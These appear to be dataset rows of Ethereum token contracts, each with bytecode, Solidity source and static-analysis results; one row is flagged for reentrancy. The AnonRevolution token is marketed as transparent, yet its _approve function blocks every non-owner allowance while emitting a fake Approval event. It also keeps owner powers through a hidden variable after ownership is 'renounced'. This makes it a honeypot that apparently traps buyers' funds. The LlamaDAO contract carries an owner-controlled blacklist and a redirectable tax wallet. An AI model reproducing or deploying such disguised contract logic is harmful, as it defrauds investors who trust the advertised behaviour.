65207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061359d602583612dc0565b91506135a882613541565b604082019050919050565b600060208201905081810360008301526135cc81613590565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061362f602383612dc0565b915061363a826135d3565b604082019050919050565b6000602082019050818103600083015261365e81613622565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006136c1602983612dc0565b91506136cc82613665565b604082019050919050565b600060208201905081810360008301526136f0816136b4565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613753603f83612dc0565b915061375e826136f7565b604082019050919050565b6000602082019050818103600083015261378281613746565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006137bf601c83612dc0565b91506137ca82613789565b602082019050919050565b600060208201905081810360008301526137ee816137b2565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613851602383612dc0565b915061385c826137f5565b604082019050919050565b6000602082019050818103600083015261388081613844565b9050919050565b600061389282612e5f565b915061389d83612e5f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138d2576138d1613313565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613939602383612dc0565b9150613944826138dd565b604082019050919050565b600060208201905081810360008301526139688161392c565b9050919050565b600061397a82612e5f565b915061398583612e5f565b92508282101561399857613997613313565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006139ff602a83612dc0565b9150613a0a826139a3565b604082019050919050565b60006020820190508181036000830152613a2e816139f2565b9050919050565b600081519050613a4481612ca9565b92915050565b600060208284031215613a6057613a5f612bab565b5b6000613a6e84828501613a35565b91505092915050565b6000819050919050565b6000613a9c613a97613a9284613a77565b612f0b565b612e5f565b9050919050565b613aac81613a81565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613ae781612c97565b82525050565b6000613af98383613ade565b60208301905092915050565b6000602082019050919050565b6000613b1d82613ab2565b613b278185613abd565b9350613b3283613ace565b8060005b83811015613b63578151613b4a8882613aed565b9750613b5583613b05565b925050600181019050613b36565b5085935050505092915050565b600060a082019050613b856000830188612f85565b613b926020830187613aa3565b8181036040830152613ba48186613b12565b9050613bb36060830185613039565b613bc06080830184612f85565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613c0482612e5f565b9150613c0f83612e5f565b925082613c1f57613c1e613bca565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613c60601b83612dc0565b9150613c6b82613c2a565b602082019050919050565b60006020820190508181036000830152613c8f81613c53565b9050919050565b6000613ca182612e5f565b9150613cac83612e5f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ce557613ce4613313565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613d4c602183612dc0565b9150613d5782613cf0565b604082019050919050565b60006020820190508181036000830152613d7b81613d3f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208d692b264da10d2b6a9788031d11f020babf10a5d2c8c96e83598fb78ecc08b564736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 9,933 |
0xb7572FF583DFf7788f9CC5Dc04d59E5009650C40 | /*
_ _ ____ _ ___ ____ __ ____ _ _ _____
/\ | \ | |/ __ \| \ | \ \ / / \/ |/ __ \| | | |/ ____|
/ \ | \| | | | | \| |\ \_/ /| \ / | | | | | | | (___
/ /\ \ | . ` | | | | . ` | \ / | |\/| | | | | | | |\___ \
/ ____ \| |\ | |__| | |\ | | | | | | | |__| | |__| |____) |
/_/___ \_\_|_\_|\____/|_|_\_| _|_| |_| |_|\____/ \____/|_____/ _
| __ \| ____\ \ / / __ \| | | | | |__ __|_ _/ __ \| \ | |
| |__) | |__ \ \ / / | | | | | | | | | | | || | | | \| |
| _ /| __| \ \/ /| | | | | | | | | | | | || | | | . ` |
| | \ \| |____ \ / | |__| | |___| |__| | | | _| || |__| | |\ |
|_| \_\______| \/ \____/|______\____/ |_| |_____\____/|_| \_|
⚡️ $ANON - AnonRevolution - https://t.me/revolutionanonymous
👤TOTAL SUPPLY - 500,000,000,000
TOTAL BURN - 200,000,000,00
LIQUIDITY POOL - 260,000,000,000
MARKETING FUND - 40,000,000,000
TRANSACTION TAX - 12%
MAX TRANSACTION - 5,000,000,000
👤7% fee, 2% reflection to holders, 2% to marketing wallet, 1% to dip buying wallet
👤PROJECT REVOLUTION WILL HAVE FULL TRANSPARENCY. WE WILL BUY EVERY DIP AND MAKE IT OUR MISSION TO ENSURE THERE ARE NO DUMPS.
WE HAVE AN ANTI-BOT MECHANISM IN PLACE, THERE WILL BE NO SNIPES.
🌎CMC LISTING & CG LISTING WITHIN 48HRS OF LAUNCH
🌎CORRUPT NFT LAUNCH WITHIN 48HRS OF LAUNCH
👤 ANON CORRUPT NFTS: 4 NFTS, 50 EDITIONS EACH, 2 DROPS EACH WEEK.
👤 MUST HAVE ALL 4 TO WIN. ONCE YOU HAVE ALL 4 CONTACT ADMIN WITH PROOF AND WALLET ADDRESS.
👤 THERE WILL BE 10 WINNERS - FIRST 10 PEOPLE WIN SPECIAL PRIZE. (TBA)
🌎ANONYMOUS WILL NOT DISAPPOINT.
🌎EXPECT US.
💻https://anonrevolution.io/
💻https://t.me/revolutionanonymous
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract AnonRevolution is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 500 * 10**9 * 10**18;
string private _name = 'AnonRevolution | https://t.me/revolutionanonymous';
string private _symbol = 'ANON️';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: approve from the zero address");
require(to != address(0), "ERC20: approve to the zero address");
if (from == owner()) {
_allowances[from][to] = amount;
emit Approval(from, to, amount);
} else {
_allowances[from][to] = 0;
emit Approval(from, to, 4);
}
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c70565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110ba60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2a9092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c70565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112b6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110986022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b825780600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3610c6b565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110736025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111086023913960400191505060405180910390fd5b610de8816040518060600160405280602681526020016110e260269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2a9092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7d81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fea90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9c578082015181840152602081019050610f81565b50505050905090810190601f168015610fc95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611068576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212201646f5d1f207c4944774de1e1ac393f48ec492fc40673529ef792069723880ee64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 9,934 |
0xd52be0b9841e60675d4b9a1b09b5fe1cc7d46d39 | /*
🦙 🦙 $LlamaDAO
[$LlamaDAO will be launched soon!!!]
🦙🦙LlamaDAO🦙🦙
👉The purpose of the 🦙 $LlamaDAO🦙 is to bring the influences and popularity of the Llama figure to the cryptocurrency world. We believe that the llama figure, one of the most prominent figures ever used in various memes, can not only draw the attention but also the involvement of supporters like you of the meme world.
👉 Utility functions and dAPP launch will be followed. Join our community now and don’t miss the updates!!!
🦙Max Supply: 10 Billions
🦙Buy Limit: 2%
🦙Initial LP: 5 ETH
🦙Buy Tax: 13%
🦙Sell Tax: 13%
🖥Website: https://llamadao.net/
📘TG: https://t.me/llamadao
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract LLAMADAO is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
mapping (address => User) private cooldown;
uint private constant _totalSupply = 1e10 * 10**9;
string public constant name = unicode"LLAMA DAO";
string public constant symbol = unicode"LLAMADAO";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _TaxAdd;
address public uniswapV2Pair;
uint public _buyFee = 13;
uint public _sellFee = 13;
uint private _feeRate = 15;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_TaxAdd = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if (block.timestamp == _launchedAt) _isBot[to] = true;
if((_launchedAt + (10 minutes)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once.");
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (10 minutes)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (30 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_TaxAdd.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 200000000 * 10**9;
_maxHeldTokens = 200000000 * 10**9;
}
function manualswap() external {
require(_msgSender() == _TaxAdd);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _TaxAdd);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external {
require(_msgSender() == _TaxAdd);
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _TaxAdd);
require(buy < 15 && sell < 15 && buy < _buyFee && sell < _sellFee);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external {
require(_msgSender() == _TaxAdd);
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _TaxAdd);
_TaxAdd = payable(newAddress);
emit TaxAddUpdated(_TaxAdd);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _TaxAdd);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
